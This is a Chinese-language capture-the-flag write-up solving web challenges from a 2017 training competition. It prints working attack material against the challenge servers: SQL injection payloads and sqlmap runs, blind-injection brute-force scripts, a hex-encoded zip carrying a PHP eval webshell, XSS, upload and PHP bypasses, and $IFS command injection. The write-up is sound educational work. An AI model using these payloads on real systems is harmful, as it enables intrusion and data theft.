还差一个
题目链接如下
http://www.hetianlab.com/pages/activity/X-NUCANationalTL2017.jsp
捉迷藏
一看发现一大坨东西,但是都没用发现有一个链接
打开隐约会闪一下回到index.php,说明是个重定向,burp抓包得到flag
FLAG{th!5!5n0tth3fl@g}
简单问答
真是搞不懂这题是几个意思…首先看到页面,貌似是个简答题?但是提交不了,看源码中把submit中的标签去掉disabled=””
将之去掉可以发包,而且用burp抓包后发现提交的东西是畸形
q1=2015&q2=lol+&q4=22&success=false
首先q1应该是2016;然后q2被script脚本改成了多一个空格,去掉;在后不是q4=22,应该是q3啊…最后吧success改成true就好了
flag{W3ll_d0n3}
后台后台后台
首先看到一个普通的界面,进入后一个按钮可以进入管理员界面,但是显示
截包如下
发现cookie中的Member是base64加密后的
Normal
,改成base64加密的Admin
flag{C00ki3_n0m_n0m_n0m}
php是最好的语言
直接看到源码
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
绕过挺简单的,忘记eregi在php7中被废弃了…怪不得实验了十万年都没用…
首先丢一个链接,总结的一些php特性
http://blog.csdn.net/qq_35078631/article/details/75200157
第一步,bar1是2017asd,即数字+字母可以绕过和2016比较且不是纯数字
第二步,构造bar2,要求bar2的第一项是数组,且总共数组有五项,且内容不存在nudt
第三步,构造数组中a2项数值为nudt
以上三步可以php代码生成
<?php
$test=array(
"bar1"=>"2017asd",
"bar2"=>array( "0"=>array(0),
1=>2,
2=>3,
3=>4,
4=>5
),
"a2"=>"nudt"
);
print_r (json_encode((array)$test));
?>
结果是{"bar1":"2017asd","bar2":[[0],2,3,4,5],"a2":233}
然后继续看让cat[1]存在,且!strcmp($c[1],$d) && $c[1]!==$d
那么根据strcmp特性构造cat[1][]=,成功绕过
后面利用eregi可以用%00截断构造cat[0]=%00htctf2016&dog=what
绕过
最终payload
http://218.76.35.75:20114/?foo={"bar1":"2017asd","bar2":[[0],2,3,4,5],"a2":"nudt"} &cat[1][]="1"&&dog= what&cat[0]=%00htctf2016
flag{php_i5_n0t_b4d}
login
首先见到后台,观察猜测是个文件包含,果不其然可以弄到代码
http://218.76.35.75:20115/?page=php://filter/convert.base64-encode/resource=login
base64解密后得到login的关键代码
<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
$logfile = "./log/".$login.".log";
file_put_contents($logfile, $login."\n".$password);
}
?>
但是这是个啥…一筹莫展…然后发现貌似还可以得到一些源代码
http://218.76.35.75:20115/?page=php://filter/convert.base64-encode/resource=index
可以得到
<?php
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";
if (@$_GET['log']) {
if(file_exists($_GET['log'].".log")){
include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){
include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}
?>
突然发现了什么不得了的事情,首先是当我们登录失败的时候会生成一个log文件
然后我们看如果index.php中有log变量,而且
$_GET['log'].".log"
这个文件存在的就直接读取flag.txt了??这不是逆天?于是我们继续构造
flag{10caL_File_1nc1usi0n_C@n_B3_fun}
但是这个题没完,我再看看别人的题解中发现了钓炸天的做法。
比如大牛王一航的做法,因为可以上传,他就刻意构造了一个带有小马的zip文件,然后通过getshell得到flag,太6了…
构造PK结构如下(cat test.zip | hexdump -C
查看)
因为要解决zip解压不能解析\n的问题,但是我们上传过程格式为
username+\n
password
然后我们就可以用这个构造出来一个压缩包的格式,清楚的看到,第五个就是0a
构造如下
login=%50%4b%03%04
&password=%03%00%00%00%00%32%0f%11%4b%27%86%ac%bf%1d%00%00%00%1d%00%00%00%08%00%00%00%74%65%73%74%2e%70%68%70%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%0a%50%4b%01%02%3f%03%0a%03%00%00%00%00%32%0f%11%4b%27%86%ac%bf%1d%00%00%00%1d%00%00%00%08%00%00%00%00%00%00%00%00%00%20%80%b4%81%00%00%00%00%74%65%73%74%2e%70%68%70%50%4b%05%06%00%00%00%00%01%00%01%00%36%00%00%00%43%00%00%00%00%00
实验成功
检查能否正常解压,发现是可以解压成功的,然后我们在利用包含的zip协议解压达到效果!!!
请求成功!
http://218.76.35.75:20115/?page=zip://log/PK%03%04.log%23test
post:cmd=phpinfo();
//ps:zip伪协议#后面加的是解压的文件名!这个十分重要!!!
这才是真正的探索精神啊,膜拜学习了
http 头注入
方法一
说是http头部注入,还说什么换个浏览器试试,一开始以为是换user-agent但是实验过后发现referer存在注入
然后?我没有注出来,然后使用sqlmap跑,不负众望跑了出来
python sqlmap.py -u http://218.76.35.75:20121/heetian.php -p referer --tamper=space2comment --level 3
嘿嘿嘿,继续套路就行了
python sqlmap.py -u http://218.76.35.75:20121/heetian.php -p referer --tamper=space2comment --level 3 --dbs
python sqlmap.py -u http://218.76.35.75:20121/heetian.php -p referer -D ctfweb20110 --tables
python sqlmap.py -u http://218.76.35.75:20121/heetian.php -p referer -D ctfweb20110 -T flag -C
python sqlmap.py -u http://218.76.35.75:20121/heetian.php -p referer -D ctfweb20110 -T flag -C "flag" --dump
方法二
偶然间发现存在报错注入
Referer: 1' and extractvalue(1, concat(0x7e, (select @@version),0x7e)) and '1'='1
//爆库名
Referer: 1' and extractvalue(1, concat(0x7e, (SELECT SCHEMA_NAME FROM information_schema.SCHEMATA limit 1,1),0x7e)) and '1'='1
//爆表
Referer: 1' and extractvalue(1, concat(0x7e, (SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA ='ctfweb20110' limit 0,1),0x7e)) and '1'='1
//爆列
Referer: 1' and extractvalue(1, concat(0x7e, (SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME ='flag' limit 1,1),0x7e)) and '1'='1
//爆答案
Referer: 1' and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) and '1'='1
Y0ugetT82f00000laev
简单的文件上传
一见到文件上传,首先想到%00截断,未果,继续想是否是Content-Type
的问题,上传一个png文件,发现只让传jpg文件,所以修改Content-Type
为Content-Type: image/jpeg
然后发现filename可控,改成php文件后缀,得到flag
flag:Upl00d30668ss9h97aFil3
简单的JS
首先打开F12看到源码
p="60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,46,47,
102,108,48,97,46,112,104,112,34,62"
p=eval("String.fromCharCode("+p+")");
document.write(p);
写个简单的python脚本跑出来是
<iframe height=0 width=0 src="./fl0a.php">
访问过去看到一个奇奇怪怪的东西
扫一遍目录无果,然后发现在报文中的Cookie中有flag…
C00k1els60SecU5e
php 是门松散的语言
上来看到源码
$he ='goodluck';
parse_str($_GET['heetian']);
if $he = 'abcd';
echo $flag;
he=?
发现存在parse_str函数,该函数用来解析字符串并且给变量赋值..勉强算是函数覆盖?
构造
http://218.76.35.75:20124?heetian=he=abcd
得到flag
flag:C00d1uckf0rY0uuu
试试xss
首先根据提示,alert document domain即可,所以应该就用反射型的xss就可以了,然后看题
尝试了输入'>
发现源代码中凭空出现了一个img标签
'><script >alert(document.domain)</script>
也返回了domain但是不出flag,于是换一种方法,闭合利用这个img标签
构造如下语句一直弹出框框就是不给flag…
123' onerror=javascript:alert(document.domain)
去掉javascript就有了???
123' onerror=alert(document.domain)
蛇精病…
flag:D0Gum6Ntd0M11n
简单的文件包含
根据提示,构造
http://218.76.35.75:20126/index.php?page=/flag
在源码中得到flag位置
<!-- flag: 62a72cb2f3d5e7fc0284da9f21e66c9f.php-->
访问得到flag
F11elNcLud3Get
怎么感觉这么无厘头…
简单的验证
也是非常某明奇妙的题目,首先扫描目录无果,然后抓包观察包的特点,发现cookie中有个user和guess,然后发现是个爆破题目,把user改成admin无疑,然后爆破guess即可
#_*_ coding:utf-8 _*_
import requests
url = 'http://218.76.35.75:20127/'
for i in range(1000):
headers={
'Cookie':'td_cookie=18446744070435391241; flag=admin; user=admin; guess=%d'%i
}
html=requests.get(url,headers=headers)
#print html.text
if 'flag' in html.text:
print html.text
break
醉了
flag:EaSy70Ch1ngG00kie
vote
一筹莫展,但是发现之前过于在意文件扫描,字典也不够完整,忘记了.bak,.index.php.swo等经典的源码泄露了,我得锅
然后发现/.index.php.swp
存在源码泄露
虽然得到了源码,但是貌似一般的vim -r 方法会显示不让操作,问了牛逼我鸡哥,说要在虚拟机上的vim去跑才可以…这又是啥!我不会,只好直接带着一堆null就看了
大概整理了一下,感觉很奇怪
echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';
while ($r = mysql_fetch_array($q)) {
$q = mysql_query('SELECT * FROM t_picture');
<?php<tr><table border="1" cellspacing="5"><form action="index.php" method="POST"><p>Welcome, Movie vote</p><body></head> <title>Movie vote</title><head><html>?>} exit;
echo '<br><a href="index.php">goBack</a><br>';
echo '</table>'; }
echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
echo '<tr><td>'.$arr[0].'</td>';
$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$f['id']));
while ($r = mysql_fetch_array($q))
{ echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
echo '<table border="1">';
echo '<p><b>Thank you!</b> Results:</p>';
$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
$vote = 1;
if ($vote > 5 || $vote < 1)
$vote = (int)$_POST['vote'];
$id = $_POST['id'];
die('please select ...');
if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
if (isset($_POST['submit'])) {
$login = $_SESSION['login'];
}
$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
if (!isset($_SESSION['login'])) {
session_start();
include 'db.php';
发现和输出貌似是相反的,然后可以自己颠倒一下大概是这样的
<?
include 'db.php';
session_start();
if (!isset($_SESSION['login'])) {
$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];
if (isset($_POST['submit'])) {
if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
die('please select ...');
$id = $_POST['id'];
$vote = (int)$_POST['vote'];
if ($vote > 5 || $vote < 1)
$vote = 1;
$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
echo '<p><b>Thank you!</b> Results:</p>';
echo '<table border="1">';
echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
while ($r = mysql_fetch_array($q)) {
$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$f['id']));
echo '<tr><td>'.$arr[0].'</td>';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
echo '</table>';
}
echo '<br><a href="index.php">goBack</a><br>';
}
exit;
?>
<tr><table border="1" cellspacing="5"><form action="index.php" method="POST"><p>Welcome, Movie vote</p><body></head> <title>Movie vote</title><head><html>
<?php
$q = mysql_query('SELECT * FROM t_picture');
while ($r = mysql_fetch_array($q)) {
echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';
由于我水平比较洼,一时没看出来是啥,然后百度一下发现是hackyou2014原题
看了一眼题解恍然大悟!原来我们可以用16进制绕过is_numeric!!!然后分析一波未果,经过伟大鸡哥提醒是二次注入,之前没有接触过二次注入,这里简单的讲一下记录记录把
二次注入,顾名思义就是利用了第二次的注入回显
我们直接看题目,首先我们利用了16进制绕过is_numeric的限制,分析一下,首先在
$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
这个地方可以在数据库中插入一段数据,然后在下面的
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
中有所利用(原因这个$r来自于$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
,经过这个条件转接我们就可以利用数据库中的id变量了)
加入我们注入代码为-1 union select 1
, 那么程序首先插入数据库如下语句
$q = mysql_query("INSERT INTO t_vote VALUES (-1 union select 1, , '')");
然后通过调用利用语句就变成了
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = -1 union select 1"));
就注入成功了!!!然后我门写好本题目需要的脚本把!
#_*_ coding:utf-8 _*_
import requests
import binascii
def encode_and_send(hack):
url = 'http://218.76.35.75:65080/'
data ={'id':hack,'vote':3,'submit':'submit'}
html = requests.post(url,data=data)
print html.text
hack = "-1 union select 1"
print "0x"+binascii.hexlify(hack)
encode_and_send("0x"+binascii.hexlify(hack))
然后通过修改hack值达到效果,测试一下!
然后就是一个一阶的注入,结果information_schema被过滤了…大佬说脑洞出来得表名和列名…心理莫名地蛋疼,感觉十分不靠谱…想到了能否爆破一下但是又没有字典…如果大佬有什么妙招还希望点一下弱…
payload带入上面代码
hack = "-1 union select flag from t_flag"
flag{6yvt6eYziAHgVRKz3reE}
GG
找了半天,只有一个js源码,大概600行,看了看没发现什么东西…没什么明显得东西,索性搜一下看有没有引用得文件,搜索.js
时候发现一个奇怪得东西
this.mayAdd = function(a) {
if (this.scores.length < this.maxscores)
return 1E6 < a && (a = new p,
a.set("urlkey", "webqwer"[1] + "100.js", 864E5)),
!0;
for (var b = this.scores.length - 1; 0 <= b; --b)
if (this.scores[b].score < a)
return 1E6 < a && (a = new p,
a.set("urlkey", "webqwer"[1] + "100.js", 864E5)),
!0;
return !1
}
那就是存在个e100.js
直接丢到console跑出来
flag{oT0yTrjU0xhjhj2YTcT8jljMWpzS9tDk}
Reappear
看到了感觉就是个模板把,找了一下,4.1.5版本存在文件上传漏洞,这里顺手试了一下,发现没有上传文件的写权限
然后继续寻找,发现了貌似4.1.7版本的
/kindeditor/php/file_manager_json.php
文件下存在文件的绝对路径泄露把,在看看有没有有利用价值的,结果果真有猫腻!
然后我们知道在attach文件夹下存在一个
flag_clue.php
文件!八九不离十了,打开一看得到一个串
=0nYvpEdhVmcnFUZu9GRlZXd7pzZhxmZ
明显倒叙的base64,解密后得到flag
flag:{uveDoneAgreatJob}
DrinkCoffee
上来一看这么牛逼的界面
为了方便解包用burp抓取
首先他要求的come from
http://www.iie.ac.cn
和 IP must be
10.10.20.1
,修改一下referer和x-forwarded-for即可
然后他说找password,我扫描了全世界什么都没有,结果发现在headers中…
明显的md5值,去解密一下
然后构造包即可
alert('Flag: 84294deb396ba4373c5ea8b73fa111b2')
最安全的笔记管理系统
这个题目利用的非常复杂,非常非常好的题目,单独写出来一篇博客把。
Document
进入第一页发现提示
一方面说了parameter变量是file,继续看还给了一个上传文件upload
尝试了几个上传未果,过滤了php,貌似还会检测
Content-Type
和
filename
是否匹配,不知道怎么办,然后返回来看是不是文件包含
http://218.76.35.74:20129/include.php?file=php://filter/convert.base64-encode/resource=include
得到include.php的源代码,翻译为
//include
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>
得到upload代码
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
发现对上传的文件确实限制比较多,但是只是强调存在.png
等等就可以了,但是加入我这样构造1.php.png
这个是符合上传条件的,而且,在服务器端还会
解析php文件!这是apache的解析漏洞,源于倒叙解析文件类型。
如下
然后访问
http://218.76.35.74:20129/upload/1234.php.png
如下
然后我们就尝试一句话就好了!
成功了,然后漫游找flag即可
然后碰到了最大的问题,找不到flag…利用find和grep命令搜索全目录
find / | grep flag
然后读一下就好了
7F5A58DFC54CFAC9903FE85D92703787
阳光总在风雨后
扫描了之后什么特别的都没有发现只能注入了,套路一下验证出username有admin
然后burp抓包发现username过滤了好多东西!问题应该就在这里吧
过滤了union,逗号,空格,and,or等等,但是没有过滤ascii,mid,from,select,等号 。所以猜到是盲注
想了半天没有想出来,翻翻之前的东西发现做过类似的,构造出如下反映不同,可以构成盲注
username=admin'^0^'1
username=admin'^1^'1
控制的东西就是中间那个了呗,本地实验这句发现可以有
mysql> select(ascii(mid((select(flag)from(flag))from(2)))=106);
+---------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(2)))=106) |
+---------------------------------------------------+
| 1 |
+---------------------------------------------------+
1 row in set (0.00 sec)
没有空格完美解决问题的样子
构造uname=admin'^(select(1=1))^'1&passwd=%27%23
实验,
当其中的值为1的时候uname的验证通过
我们写脚本如下
#_*_ coding:utf-8 _*_
import requests
url = 'http://218.76.35.74:20130/login.php'
headers={
'Host': '218.76.35.74:20130',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://218.76.35.74:20130/',
'Cookie': 'PHPSESSID=jksoal7prjq5ssnvq217k9h792',
'Connection':' keep-alive',
'Upgrade-Insecure-Requests': '1'
}
ans=''
for length in range(1,50):
flag=0
for i in range(31,127):
hacker="admin'^(select(ascii(mid((select(passwd)from(admin))from(%s)))=%s))^'1"%(str(length),str(i))
#print hacker
data={
'uname':hacker,
'passwd':'1'
}
html = requests.post(url,headers=headers,data=data)
#print html.text.encode('utf-8')
if 'password' in html.text:
ans+=chr(i)
print ans
flag=1
break
if flag==0:
break
得到答案
50f87a3a3ad48e26a5d9058418fb78b5
当然MD5解密得到原文
shuangshuang
然后就是登陆进去,然后发现是一个类似bash的东西,但是貌似只能显示一项?而且过滤了空格,然后可以找到命令符${IFS}
或者是$IFS$9
可以绕过,至于输出第几个文件可以用head -n 1 绕过
构造
ls$IFS$9/var/www/html|head$IFS$9-n$IFS$91
9ef89ad913e848b64b73e3aa721e44e4
继续构造
ls$IFS$9/var/www/html/9ef89ad913e848b64b73e3aa721e44e4|head$IFS$9-n$IFS$91
不知道为什么明明的出来了但是确不行, 想了想过滤了php,最后参考的大佬的答案
cat${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4/*|head${IFS}-n${IFS}1
flag{sQ1_1NJEct_coMMond_eXEC}
default
首先是文件扫描得到有趣的东西
然后看到东西
<?php
include "flag2.php";
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
某春秋原题,代码注入
构造
http://218.76.35.74:20131/index2.php?hello=)%26print_r(glob('*')
然后构造
http://218.76.35.74:20131/index2.php?h
hello=)%26print_r(file('flag1.php')
flag{F8871804DD8C20C66D2386B3E51ADEC4}